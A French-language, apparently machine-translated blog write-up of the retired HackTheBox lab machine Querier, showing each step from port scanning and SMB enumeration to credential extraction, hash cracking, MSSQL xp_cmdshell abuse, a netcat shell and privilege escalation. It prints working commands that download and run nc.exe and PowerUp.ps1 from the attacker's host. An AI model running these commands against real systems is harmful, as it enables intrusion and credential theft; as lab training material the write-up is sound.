Bonjour, Habr! Dans cet article, vous découvrirez une méthode d'attaque d'un serveur distant à l'aide des fonctionnalités de MsSQL, la création d'un shell inverse pour la réparation dans le système et un exemple de fonctionnement d'une stratégie de groupe mal configurée dans Windows.
Sous la coupe, nous parlerons de notre expérience de passage de la machine de laboratoire
Querier sur le portail
hackthebox .
Pour ceux qui ne savent pas ce qu'est hackthebox, il s'agit d'un portail où vous pouvez tester vos compétences en pratique, il y a des tâches CTF et des machines de laboratoire elles-mêmes.
Clause de non-responsabilitéLes règles du service se lisent comme suit: " Ne partagez pas comment vous avez piraté chaque machine avec d'autres membres. Cela inclut la génération de code d'invitation et tous les défis . " Mais comme cette machine n'est plus active et est stockée dans la section Machines retirées, seuls les membres VIP peuvent y accéder.

Collecte d'informations
Commençons notre exploration en lançant la numérisation de port avec nmap.
nmap –sC –Pn –A 10.10.10.125

Nous listons les ports trouvés.
Énumérer 139/445 / tcp (smb)
Nous utiliserons l'utilitaire smbclient pour accéder aux ressources du serveur SMB.
smbclient –L //10.10.10.125
Après avoir parcouru toutes les ressources, on retrouve dans le répertoire Reports le fichier «Currency Volume Report.xlsm».

Si vous ouvrez ce fichier avec Microsoft Excel standard, il
apparaîtra à première vue complètement vide.
Nous analysons le fichier Ă l'aide de l'utilitaire
binwalk , qui vous aidera à consulter les fichiers incorporés du document xlsm.

De la sortie de binwalk, nous avons trouvé des fichiers intéressants contenus dans xlsm.
À l'aide de l'indicateur –e, décompressez-le.
binwalk –e Currency\ Volume\ Report.xlsm

Nous allons maintenant utiliser l'utilitaire
strings pour produire des caractères imprimés. En parcourant les fichiers, nous trouvons des données intéressantes dans vbaProject.bin. Il semble que nous ayons trouvé les informations d'identification pour le serveur mssql.

Pour résumer les informations actuellement reçues:
- Nous savons que le serveur mssql tourne sur le port 10.10.10.125:1433;
- Nous avons les informations d'identification du serveur utilisateur mssql.
Essayons donc de nous connecter au serveur en utilisant le script du module
impacket .
python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Accédez à MsSQL.

Énumérer MsSQL
Nous listons les informations qui nous sont utiles en utilisant les commandes de l'
article .
Après avoir exécuté SQLi, nous obtenons un hachage du mot de passe de l'utilisateur mssql-svc.

Pour obtenir le mot de passe de manière explicite, il est nécessaire de le supprimer à l'aide de n'importe quel outil qui vous convient.
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
Nous obtenons le mot de passe de mssql-svc .
Connexion Ă SQL avec de nouveaux
prĂŞts d' informations d'identification.
python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth
Les droits de cet utilisateur nous permettent d'exécuter
xp_cmdshellÀ propos de xp_cmdshellMsSQL est livré avec un large éventail de procédures stockées avancées. Le plus intéressant d'entre eux est xp_cmdshell. Il donne accès à la ligne de commande du système d'exploitation.
Obtenez la coque inversée
Nous essayons de faire passer le shell via netcat, pour cela nous devons le télécharger sur le serveur attaqué.
Nous allons dans le répertoire de notre machine où se trouve netcat et exécutons:
python –m SimpleHTTPServer
Dans le shell mssql pour télécharger netcat (nc.exe) sur le serveur distant, exécutez la commande powershell en spécifiant le chemin d'enregistrement.
xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.xx:8000/nc.exe" – OutFile "C:\Users\mssql-svc\Desktop\nc.exe" "
Nous démarrons netcat pour écouter sur le port 4444.
xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe"
Nous démarrons netcat de notre côté, spécifiant l'ip et le port du serveur attaqué et obtenons le shell.
nc 10.10.10.125 4444
Exécutez un
script à partir de PowerShellMafia pour augmenter les privilèges.
powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.xx:8000/PowerUp.ps1\"); Invoke-AllChecks

Ă€ la suite du script, nous avons obtenu les informations d'identification de l'administrateur.
Nous allons aux ressources smb avec de nouvelles informations d'identification et autorisations.


Prenez le drapeau root.txt. Victoire!